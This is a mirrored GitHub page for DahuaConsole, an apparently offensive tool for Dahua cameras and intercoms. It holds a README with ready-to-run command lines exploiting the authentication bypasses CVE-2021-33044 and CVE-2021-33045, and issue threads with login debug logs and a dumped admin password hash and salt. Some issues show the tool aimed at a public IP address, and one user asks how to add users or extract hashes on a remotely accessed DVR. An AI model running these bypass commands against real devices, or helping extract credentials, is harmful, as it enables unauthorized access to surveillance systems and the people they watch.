Giter VIP home page Giter VIP logo

dahuaconsole's Introduction

Dahua Console

  • Version: Pre-alpha
  • Bugs: Indeed
  • TODO: Lots of stuff

[Install requirements]

sudo pip3 install -r requirements.txt

[Arguments]

  -h, --help            show this help message and exit
  --rhost RHOST         Remote Target Address (IP/FQDN)
  --rport RPORT         Remote Target Port
  --proto {dhip,dvrip,3des,http,https}
                        Protocol [Default: dvrip]
  --relay RELAY         ssh://<username>:<password>@<host>:<port>
  --auth AUTH           Credentials (username:password) [Default: None]
  --ssl                 Use SSL for remote connection
  -d, --debug           JSON traffic
  -dd, --ddebug         hexdump traffic
  --dump {config,service,device,discover,log,test}
                        Dump remote config
  --dump_argv DUMP_ARGV
                        ARGV to --dump
  --test                test w/o login attempt
  --multihost           Connect hosts from "dhConsole.json"
  --save                Save host hash to "dhConsole.json"
  --events              Subscribe to events [Default: False]
  --discover {dhip,dvrip}
                        Discover local devices
  --logon {wsse,loopback,netkeyboard,onvif:plain,onvif:digest,onvif:onvif,plain,ushield,ldap,ad,cms,local,rtsp,basic,old_digest,gui}
                        Logon types
  -f, --force           Bypass stops for dangerous commands
  --calls               Debug internal calls

[Release]

[Update] 2022-07-10

  • Added 3des_old logon method for VTH1510CH running V2 software from 2016
    • Minor difference in the login packet data
    • Do not query device parameters on connect - will reset the connection
  • Added --restore config-file.json
    • Loads json configuration file or parts thereof.

Example:

./Console.py --rhost 192.168.1.x --proto 3des --auth admin:admin --logon old_3des --dump config

[Update]

2021-10-07

Details here: https://github.com/mcw0/PoC/blob/master/Dahua%20authentication%20bypass.txt

2021-10-06

[CVE-2021-33044]

Protocol needed: DHIP or HTTP/HTTPS (DHIP do not work with TLS/SSL @TCP/443)

[proto: dhip, normally using tcp/5000]
./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto dhip --rport 5000

[proto: dhip, usually working with HTTP port as well]
./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto dhip --rport 80

[proto: http/https]
./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto http --rport 80
./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto https --rport 443

[CVE-2021-33045]

Protocol needed: DHIP (DHIP do not work with TLS/SSL @TCP/443)

[proto: dhip, normally using tcp/5000]
./Console.py --logon loopback --rhost 192.168.57.20 --proto dhip --rport 5000

[proto: dhip, usually working with HTTP port as well]
./Console.py --logon loopback --rhost 192.168.57.20 --proto dhip --rport 80

dahuaconsole's People

Contributors

ayushin avatar jorhelp avatar mcw0 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

dahuaconsole's Issues

global.getCurrentTime does not exist on every camera, crashing program

Hi,

Just to let you (and anyone else who may have the same problem) know, on line 490 of net.py there is:

dh_data.get('global.getCurrentTime').get('params').get('time'),

This is not working with my camera. Maybe because mine firmware is from 2014.

So anyway, I changed:

        log.info("Remote Model: {}, Class: {}, Time: {}".format(
            self.DeviceType,
            self.DeviceClass,
            dh_data.get('global.getCurrentTime').get('params').get('time'),
        ))

To:

        log.info("Remote Model: {}, Class: {}".format(
            self.DeviceType,
            self.DeviceClass
        ))

And it's working. I'd open pull request for that, but it's already late for me. You can change this in your code if you want.

TypeError: expected string or bytes-like object When used http proto

python3 Console.py --logon netkeyboard --rhost 79.179.42.47 --proto http --rport 80
[] [Dahua Debug Console 2019-2021 bashis ]
[
] logon type "netkeyboard" with proto "http" at 79.179.42.47:80
[▘] Dahua Debug Console: Trying
[/] Login
Traceback (most recent call last):
File "/root/Desktop/tools/DahuaConsole/Console.py", line 852, in
main()
File "/root/Desktop/tools/DahuaConsole/Console.py", line 846, in main
DebugConsole(dargs=dargs)
File "/root/Desktop/tools/DahuaConsole/Console.py", line 28, in init
self.main_console()
File "/root/Desktop/tools/DahuaConsole/Console.py", line 194, in main_console
if not self.connect_rhost(
File "/root/Desktop/tools/DahuaConsole/connection.py", line 87, in connect_rhost
if not dh.dh_connect(username=username, password=password, logon=logon, force=self.dargs.force):
File "/root/Desktop/tools/DahuaConsole/net.py", line 431, in dh_connect
if not self.dahua_dhip_login(username=username, password=password, logon=logon, force=force):
File "/root/Desktop/tools/DahuaConsole/net.py", line 2056, in dahua_dhip_login
dh_data = self.send_call(query_args, errorcodes=True, login=True)
File "/root/Desktop/tools/DahuaConsole/net.py", line 707, in send_call
dh_data = self.p2p(query_args, login=login)
File "/root/Desktop/tools/DahuaConsole/net.py", line 1747, in p2p
dh_data = self.remote.send(query_args=packet, login=login, timeout=20)
File "/root/Desktop/tools/DahuaConsole/relay.py", line 156, in send
dh_data = self.post(self._get_url(login, url), query_args, timeout)
File "/root/Desktop/tools/DahuaConsole/relay.py", line 235, in post
return self.remote.post(self.uri + url, json=query_args, verify=False, allow_redirects=False, timeout=timeout)
File "/usr/local/lib/python3.9/dist-packages/requests/sessions.py", line 590, in post
return self.request('POST', url, data=data, json=json, **kwargs)
File "/usr/local/lib/python3.9/dist-packages/requests/sessions.py", line 528, in request
prep = self.prepare_request(req)
File "/usr/local/lib/python3.9/dist-packages/requests/sessions.py", line 456, in prepare_request
p.prepare(
File "/usr/local/lib/python3.9/dist-packages/requests/models.py", line 318, in prepare
self.prepare_cookies(cookies)
File "/usr/local/lib/python3.9/dist-packages/requests/models.py", line 575, in prepare_cookies
cookie_header = get_cookie_header(self._cookies, self)
File "/usr/local/lib/python3.9/dist-packages/requests/cookies.py", line 142, in get_cookie_header
jar.add_cookie_header(r)
File "/usr/lib/python3.9/http/cookiejar.py", line 1367, in add_cookie_header
attrs = self._cookie_attrs(cookies)
File "/usr/lib/python3.9/http/cookiejar.py", line 1326, in _cookie_attrs
self.non_word_re.search(cookie.value) and version > 0):
TypeError: expected string or bytes-like object
[*] DahuaHttp DELETE

Error

module select has no attribute pollin

Password hash

I remotely connected to the DVR and got access to the console which allows me to execute some commands. Along with this, I see the inscription "Attack console failed. Using local only". Why do I see this inscription but at the same time I can use the console and get some information about the device. What command should I use to add a new user or get the password hash from the admin user?

IMG_20211116_163810_503

work well but frustrating...

Hi, great work:

root@mfsbsd:~/DahuaConsole-master # ./Console.py --logon netkeyboard --rhost 192.168.1.11 --proto dhip --rport 5000
[*] [Dahua Debug Console 2019-2021 bashis <mcw noemail eu>]
[*] logon type "netkeyboard" with proto "dhip" at 192.168.1.11:5000
[+] Opening connection to 192.168.1.11 on port 5000: Done
[+] Dahua Debug Console: Success
[+] Login: Success
[+] keepAlive thread: Started
[*] [Active Users]
    [email protected] since 01-01-1970 01:47:17 with "NetKeyboard" (Id: 1)
[*] Remote Model: DHI-VTH5422HW, Class: VTH, Time: 1970-01-01 01:47:18

but so frustrating not being able to recover lost password or erase or getting an option to factory reset this crappy chinese intercom.....

I know your software is just intended to proove the backdoor effectiveness, but since dahua dosn't respond to password reset queries from europe I was expected your soft to be my last option ...

We can login as admin in the device, we can see hashed passwords:

[Console]# user -u
[02:31:38 trace Manager 2096 UserManager.cpp:2652]-------------
[02:31:38 trace Manager 2096 UserManager.cpp:2653]User Info
[02:31:38 trace Manager 2096 UserManager.cpp:2654]-------------
[02:31:38 info Manager 2096 UserManager.cpp:2661][
   {
      "Anonymous" : false,
      "AuthorityList" : [
         ..... boring .....
      ],
      "Group" : "admin",
      "Id" : 1,
      "Memo" : "admin's account",
      "Name" : "admin",
      "Password" : "617BC378D9407453D894213993E37F5C",
      "PasswordModifiedTime" : "01-01-1970 00:15:18",
      "PwdScore" : 35,
      "RandSalt" : "05f9d1bcf00863e6c80b0e0e143e22c8",
      "Reserved" : true,
      "Sharable" : true
   }
]

but no way to go further when an older person messed up the password ? any clue ?

imou ranger 2 errors

./env/bin/python Console.py --auth admin:XXXXXX --rhost 192.168.124.196 --proto dhip --rport 80 -d
[] [Dahua Debug Console 2019-2021 bashis ]
[
] logon type "default" with proto "dhip" at 192.168.124.196:80
[+] Opening connection to 192.168.124.196 on port 80: Done
[-] Dahua Debug Console: Trying
[+] Login: Success
[BEGIN SEND (192.168.124.196)] <------------------1801------------------>
20000000|44484950|00000000|00000000|91000000|00000000|91000000|00000000
{"method": "global.login", "params": {"userName": "admin", "password": "", "clientType": "Web3.0", "loginType": "Direct"}, "id": 0, "session": 0}
[ END SEND (192.168.124.196)] <------------------1801------------------>
[BEGIN RECV (192.168.124.196)] <------------------1917------------------>
20000000|44484950|d9649aa9|00000000|eb000000|00000000|eb000000|00000000
{"result":false,"params":{"realm":"Login to EB2711F0F250EAB5","random":"80480036-1e1f-4669-812b-70d7470d6025","encryption":"Default"},"error":{"code":268632079,"message":"Component error: login challenge!"},"id":0,"session":2845467865}
[ END RECV (192.168.124.196)] <------------------1917------------------>
[BEGIN SEND (192.168.124.196)] <------------------1801------------------>
20000000|44484950|d9649aa9|01000000|09010000|00000000|09010000|00000000
{"method": "global.login", "params": {"userName": "admin", "ipAddr": "127.0.0.1", "loginType": "Direct", "clientType": "Console", "authorityType": "Default", "passwordType": "Default", "password": "5D62F915E62F3BC989F6A31E27C"}, "id": 1, "session": 2845467865}
[ END SEND (192.168.124.196)] <------------------1801------------------>
[BEGIN RECV (192.168.124.196)] <------------------1917------------------>
20000000|44484950|d9649aa9|01000000|4d000000|00000000|4d000000|00000000
{"result":true,"params":{"keepAliveInterval":30},"id":1,"session":2845467865}
[ END RECV (192.168.124.196)] <------------------1917------------------>
[BEGIN SEND (192.168.124.196)] <------------------1801------------------>
20000000|44484950|d9649aa9|02000000|5e000000|00000000|5e000000|00000000
{"method": "userManager.getActiveUserInfoAll", "params": null, "id": 2, "session": 2845467865}
[+] keepAlive thread: Started
[ END SEND (192.168.124.196)] <------------------1801------------------>
[BEGIN RECV (192.168.124.196)] <------------------1917------------------>
20000000|44484950|d9649aa9|02000000|c4000000|00000000|c4000000|00000000
{"result":true,"params":{"users":[{"Id":1,"Name":"admin","Group":"admin","ClientType":"RemoteRPC","ClientAddress":"192.168.123.10","LoginTime":"2022-05-13 19:00:25"}]},"id":2,"session":2845467865}
[ END RECV (192.168.124.196)] <------------------1917------------------>
[] [Active Users]
[email protected] since 2022-05-13 19:00:25 with "RemoteRPC" (Id: 1)
[BEGIN SEND (192.168.124.196)] <------------------1801------------------>
20000000|44484950|d9649aa9|06000000|4c010000|00000000|4c010000|00000000
{"method": "system.multicall", "params": [{"method": "magicBox.getDeviceType", "params": null, "id": 3, "session": 2845467865}, {"method": "magicBox.getDeviceClass", "params": null, "id": 4, "session": 2845467865}, {"method": "global.getCurrentTime", "params": null, "id": 5, "session": 2845467865}], "id": 6, "session": 2845467865}
[ END SEND (192.168.124.196)] <------------------1801------------------>
[BEGIN RECV (192.168.124.196)] <------------------1917------------------>
20000000|44484950|d9649aa9|06000000|da000000|00000000|da000000|00000000
{"result":true,"params":[{"result":true,"id":3,"params":{"type":"IPC-A22E-B"}},{"result":true,"id":4,"params":{"type":"IPC"}},{"result":true,"id":5,"params":{"time":"2022-05-13 19:00:25"}}],"id":6,"session":2845467865}
[ END RECV (192.168.124.196)] <------------------1917------------------>
[
] Remote Model: IPC-A22E-B, Class: IPC, Time: 2022-05-13 19:00:25
[BEGIN SEND (192.168.124.196)] <------------------1801------------------>
20000000|44484950|d9649aa9|07000000|50000000|00000000|50000000|00000000
{"method": "system.listService", "params": null, "id": 7, "session": 2845467865}
[ END SEND (192.168.124.196)] <------------------1801------------------>
[BEGIN RECV (192.168.124.196)] <------------------1917------------------>
20000000|44484950|d9649aa9|07000000|65000000|00000000|65000000|00000000
{"result":false,"error":{"code":268632064,"message":"InterfaceNotFound"},"id":7,"session":2845467865}
[ END RECV (192.168.124.196)] <------------------1917------------------>
[Console]# services
[-] Invalid command: 'help' for help
[Console]# service
Traceback (most recent call last):
File "/home/msw/soft/DahuaConsole/Console.py", line 852, in
main()
File "/home/msw/soft/DahuaConsole/Console.py", line 846, in main
DebugConsole(dargs=dargs)
File "/home/msw/soft/DahuaConsole/Console.py", line 28, in init
self.main_console()
File "/home/msw/soft/DahuaConsole/Console.py", line 239, in main_console
exec(tmp)
File "", line 1, in
File "/home/msw/soft/DahuaConsole/dahua.py", line 97, in list_service
self.check_for_service('dump')
File "/home/msw/soft/DahuaConsole/net.py", line 1163, in check_for_service
if not len(self.RemoteServicesCache):
TypeError: object of type 'bool' has no len()
[*] Closed connection to 192.168.124.196 port 80

Access to OS

using this cve I get access to certain functions of the camera, but there is no way to access the operating system of the camera. Is it possible to access the operating system of the camera through Console.py?

could not use 'diag nfs mount'

_[Console]# diag 
[*] [usage]
    diag nfs status (Check if NFS mounted)
    diag nfs mount [<server host> /<server path>]
    diag nfs umount (Umount NFS)
    diag usb get (Not done yet)
    diag usb set (Not done yet)
    diag pcap start (Start capture)
    diag pcap stop (Stop capture)
    diag pcap filter <get> | <set> <lo|eth0|eth2> <host>
    diag coredump start (Start coredump support)
    diag coredump stop (Stop coredump support)
    diag logs start (Start redirect logs to NFS)
    diag logs stop (Stop redirect logs to NFS)
[Console]# diag nfs mount 10.2.1.110 /c/public
[-] Service [InterimRemoteDiagnose] not supported on remote device
[Console]# diag nfs mount 10.2.1.110 /c/public/
[-] Service [InterimRemoteDiagnose] not supported on remote device
[Console]# diag nfs mount 10.2.1.110 /c/public/
[-] Service [InterimRemoteDiagnose] not supported on remote device
[Console]# diag nfs mount 10.2.1.110 /c/
[-] Service [InterimRemoteDiagnose] not supported on remote device
[Console]# diag nfs mount 10.2.1.110 /c/
[-] Service [InterimRemoteDiagnose] not supported on remote device
[Console]# diag nfs mount 10.2.1.110 /c/public
[-] Service [InterimRemoteDiagnose] not supported on remote device_

can somebody help me with this 'diag nfs mount'
my nfs server is ok, i can test it on my centos7.6 server
like :
mount -o nolock -t 10.2.1.110:/c/public /mnt

Snapshot

How get snapshot use session id after login?

AttributeError("'bool' object has no attribute 'get'")

└─$ python3 Console.py --logon netkeyboard --rhost --rport 8081 --proto http
[] [Dahua Debug Console 2019-2021 bashis ]
[
] logon type "netkeyboard" with proto "http" at
[▘] Dahua Debug Console: Trying
[+] Login: Success
[+] keepAlive thread: Started
AttributeError("'bool' object has no attribute 'get'")
[-] [MainConsole]
[*] All done

Using Linux and latest version of Console.

AttributeError("'NoneType' object has no attribute 'get'")

Hi,
i'm trying to connect to https://www.dahuasecurity.com/products/All-Products/Access-Control--Time-Attendance/Access-Control/Standalone/ASI1201E/ASI1201E-D

but i get this error.
PS: I am looking for a way to connect it to homeassistant.

./Console.py --logon netkeyboard --rhost 192.168.90.5 --rport 37777 --auth admin:****** -d
[] [Dahua Debug Console 2019-2021 bashis ]
[
] logon type "netkeyboard" with proto "dhip" at 192.168.90.5:37777
[+] Opening connection to 192.168.90.5 on port 37777: Done
[./......] Dahua Debug Console: Trying
[+] Login: Success
[BEGIN SEND (192.168.90.5)] <------------------1803------------------>
20000000|44484950|00000000|00000000|91000000|00000000|91000000|00000000
{"method": "global.login", "params": {"userName": "admin", "password": "", "clientType": "Web3.0", "loginType": "Direct"}, "id": 0, "session": 0}
[ END SEND (192.168.90.5)] <------------------1803------------------>
[BEGIN RECV (192.168.90.5)] <------------------1919------------------>
20000000|44484950|d710c601|00000000|ac000000|00000000|ac000000|00000000
{ "result": false, "params": { "realm": "Login to ASI1201E", "random": "29757655", "encryption": "Default" }, "error": { "code": 268632079 }, "id": 0, "session": 29757655 }
[ END RECV (192.168.90.5)] <------------------1919------------------>
[BEGIN SEND (192.168.90.5)] <------------------1803------------------>
20000000|44484950|d710c601|01000000|0b010000|00000000|0b010000|00000000
{"method": "global.login", "params": {"userName": "admin", "ipAddr": "127.0.0.1", "loginType": "Direct", "clientType": "NetKeyboard", "authorityType": "Default", "passwordType": "Default", "password": "61C31760B8AAB860833EE2083568AA60"}, "id": 1, "session": 29757655}
[ END SEND (192.168.90.5)] <------------------1803------------------>
[BEGIN RECV (192.168.90.5)] <------------------1919------------------>
20000000|44484950|d710c601|01000000|40000000|00000000|40000000|00000000
{ "result": true, "params": null, "id": 1, "session": 29757655 }
[ END RECV (192.168.90.5)] <------------------1919------------------>
[BEGIN SEND (192.168.90.5)] <------------------1803------------------>
20000000|44484950|d710c601|02000000|5c000000|00000000|5c000000|00000000
{"method": "userManager.getActiveUserInfoAll", "params": null, "id": 2, "session": 29757655}
[ END SEND (192.168.90.5)] <------------------1803------------------>
[+] keepAlive thread: Started
[BEGIN RECV (192.168.90.5)] <------------------1919------------------>
20000000|44484950|d710c601|02000000|2c000000|00000000|2c000000|00000000
{ "result": false, "id": 2, "params": null }
[ END RECV (192.168.90.5)] <------------------1919------------------>
AttributeError("'NoneType' object has no attribute 'get'")
[-] [MainConsole]
[] All done
[
] Closed connection to 192.168.90.5 port 37777

"uboot printenv" does not work on all devices - IPC-HDW1430

I am using this tool since month for many IPC, VTH and also VTO.
However, I have a new IPC (HDW1430DT-STW / IPC-WDX2) which has some issues with this script.
The login with "./Console.py --rhost 192.168.178.241 --auth admin:kennwort" works fine. The command "device" works also fine, but commands "uboot printenv", "service" or "config all" does not work.

[Console]# uboot printenv
Traceback (most recent call last):
File "/root/220723_DahuaConsole/./Console.py", line 888, in
main()
File "/root/220723_DahuaConsole/./Console.py", line 882, in main
DebugConsole(dargs=dargs)
File "/root/220723_DahuaConsole/./Console.py", line 32, in init
self.main_console()
File "/root/220723_DahuaConsole/./Console.py", line 243, in main_console
exec(tmp)
File "", line 1, in
File "/root/220723_DahuaConsole/dahua.py", line 1396, in u_boot
self.instance_service(method_name, start=True)
File "/root/220723_DahuaConsole/net.py", line 907, in instance_service
if not self.check_for_service(method_name):
File "/root/220723_DahuaConsole/net.py", line 1165, in check_for_service
if not len(self.RemoteServicesCache):
TypeError: object of type 'bool' has no len()

[Console]# service
Traceback (most recent call last):
File "/root/220723_DahuaConsole/./Console.py", line 888, in
main()
File "/root/220723_DahuaConsole/./Console.py", line 882, in main
DebugConsole(dargs=dargs)
File "/root/220723_DahuaConsole/./Console.py", line 32, in init
self.main_console()
File "/root/220723_DahuaConsole/./Console.py", line 243, in main_console
exec(tmp)
File "", line 1, in
File "/root/220723_DahuaConsole/dahua.py", line 97, in list_service
self.check_for_service('dump')
File "/root/220723_DahuaConsole/net.py", line 1165, in check_for_service
if not len(self.RemoteServicesCache):
TypeError: object of type 'bool' has no len()

[Console]# config all
[-] [config_members] Error: {'code': 268959743, 'message': 'Unknown error! error code was not set in service!'}

Have also checked the requirements again:
root@camserver:/220723_DahuaConsole# sudo pip3 install -r requirements.txt
Requirement already satisfied: pwntools>=4.3.1 in /usr/local/lib/python3.9/dist-packages (from -r requirements.txt (line 1)) (4.9.0)
Requirement already satisfied: ndjson>=0.3.1 in /usr/local/lib/python3.9/dist-packages (from -r requirements.txt (line 2)) (0.3.1)
Requirement already satisfied: pycryptodome>=3.9.7 in /usr/local/lib/python3.9/dist-packages (from -r requirements.txt (line 3)) (3.10.4)
Requirement already satisfied: tzlocal>=2.1 in /usr/local/lib/python3.9/dist-packages (from -r requirements.txt (line 4)) (4.2)
Requirement already satisfied: pyOpenSSL>=19.1.0 in /usr/local/lib/python3.9/dist-packages (from -r requirements.txt (line 5)) (21.0.0)
Requirement already satisfied: requests>=2.20.0 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 6)) (2.25.1)
Requirement already satisfied: pwn
=1.0 in /usr/local/lib/python3.9/dist-packages (from -r requirements.txt (line 7)) (1.0)
Requirement already satisfied: paramiko>=1.15.2 in /usr/local/lib/python3.9/dist-packages (from pwntools>=4.3.1->-r requirements.txt (line 1)) (2.7.2)
Requirement already satisfied: mako>=1.0.0 in /usr/local/lib/python3.9/dist-packages (from pwntools>=4.3.1->-r requirements.txt (line 1)) (1.1.5)
Requirement already satisfied: pyelftools>=0.2.4 in /usr/local/lib/python3.9/dist-packages (from pwntools>=4.3.1->-r requirements.txt (line 1)) (0.27)
Requirement already satisfied: capstone>=3.0.5rc2 in /usr/local/lib/python3.9/dist-packages (from pwntools>=4.3.1->-r requirements.txt (line 1)) (4.0.2)
Requirement already satisfied: ropgadget>=5.3 in /usr/local/lib/python3.9/dist-packages (from pwntools>=4.3.1->-r requirements.txt (line 1)) (6.6)
Requirement already satisfied: pyserial>=2.7 in /usr/local/lib/python3.9/dist-packages (from pwntools>=4.3.1->-r requirements.txt (line 1)) (3.5)
Requirement already satisfied: pip>=6.0.8 in /usr/local/lib/python3.9/dist-packages (from pwntools>=4.3.1->-r requirements.txt (line 1)) (23.1.1)
Requirement already satisfied: pygments>=2.0 in /usr/local/lib/python3.9/dist-packages (from pwntools>=4.3.1->-r requirements.txt (line 1)) (2.10.0)
Requirement already satisfied: pysocks in /usr/local/lib/python3.9/dist-packages (from pwntools>=4.3.1->-r requirements.txt (line 1)) (1.7.1)
Requirement already satisfied: python-dateutil in /usr/local/lib/python3.9/dist-packages (from pwntools>=4.3.1->-r requirements.txt (line 1)) (2.8.2)
Requirement already satisfied: packaging in /usr/local/lib/python3.9/dist-packages (from pwntools>=4.3.1->-r requirements.txt (line 1)) (21.0)
Requirement already satisfied: psutil>=3.3.0 in /usr/local/lib/python3.9/dist-packages (from pwntools>=4.3.1->-r requirements.txt (line 1)) (5.8.0)
Requirement already satisfied: intervaltree>=3.0 in /usr/local/lib/python3.9/dist-packages (from pwntools>=4.3.1->-r requirements.txt (line 1)) (3.1.0)
Requirement already satisfied: sortedcontainers in /usr/local/lib/python3.9/dist-packages (from pwntools>=4.3.1->-r requirements.txt (line 1)) (2.4.0)
Requirement already satisfied: unicorn>=1.0.2rc1 in /usr/local/lib/python3.9/dist-packages (from pwntools>=4.3.1->-r requirements.txt (line 1)) (1.0.2rc3)
Requirement already satisfied: six>=1.12.0 in /usr/lib/python3/dist-packages (from pwntools>=4.3.1->-r requirements.txt (line 1)) (1.16.0)
Requirement already satisfied: rpyc in /usr/local/lib/python3.9/dist-packages (from pwntools>=4.3.1->-r requirements.txt (line 1)) (5.0.1)
Requirement already satisfied: colored-traceback in /usr/local/lib/python3.9/dist-packages (from pwntools>=4.3.1->-r requirements.txt (line 1)) (0.3.0)
Requirement already satisfied: pytz-deprecation-shim in /usr/local/lib/python3.9/dist-packages (from tzlocal>=2.1->-r requirements.txt (line 4)) (0.1.0.post0)
Requirement already satisfied: cryptography>=3.3 in /usr/local/lib/python3.9/dist-packages (from pyOpenSSL>=19.1.0->-r requirements.txt (line 5)) (35.0.0)
Requirement already satisfied: cffi>=1.12 in /usr/local/lib/python3.9/dist-packages (from cryptography>=3.3->pyOpenSSL>=19.1.0->-r requirements.txt (line 5)) (1.14.6)
Requirement already satisfied: MarkupSafe>=0.9.2 in /usr/local/lib/python3.9/dist-packages (from mako>=1.0.0->pwntools>=4.3.1->-r requirements.txt (line 1)) (2.0.1)
Requirement already satisfied: bcrypt>=3.1.3 in /usr/local/lib/python3.9/dist-packages (from paramiko>=1.15.2->pwntools>=4.3.1->-r requirements.txt (line 1)) (3.2.0)
Requirement already satisfied: pynacl>=1.0.1 in /usr/local/lib/python3.9/dist-packages (from paramiko>=1.15.2->pwntools>=4.3.1->-r requirements.txt (line 1)) (1.4.0)
Requirement already satisfied: pyparsing>=2.0.2 in /usr/local/lib/python3.9/dist-packages (from packaging->pwntools>=4.3.1->-r requirements.txt (line 1)) (2.4.7)
Requirement already satisfied: tzdata in /usr/local/lib/python3.9/dist-packages (from pytz-deprecation-shim->tzlocal>=2.1->-r requirements.txt (line 4)) (2022.1)
Requirement already satisfied: plumbum in /usr/local/lib/python3.9/dist-packages (from rpyc->pwntools>=4.3.1->-r requirements.txt (line 1)) (1.7.0)
Requirement already satisfied: pycparser in /usr/local/lib/python3.9/dist-packages (from cffi>=1.12->cryptography>=3.3->pyOpenSSL>=19.1.0->-r requirements.txt (line 5)) (2.20)
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.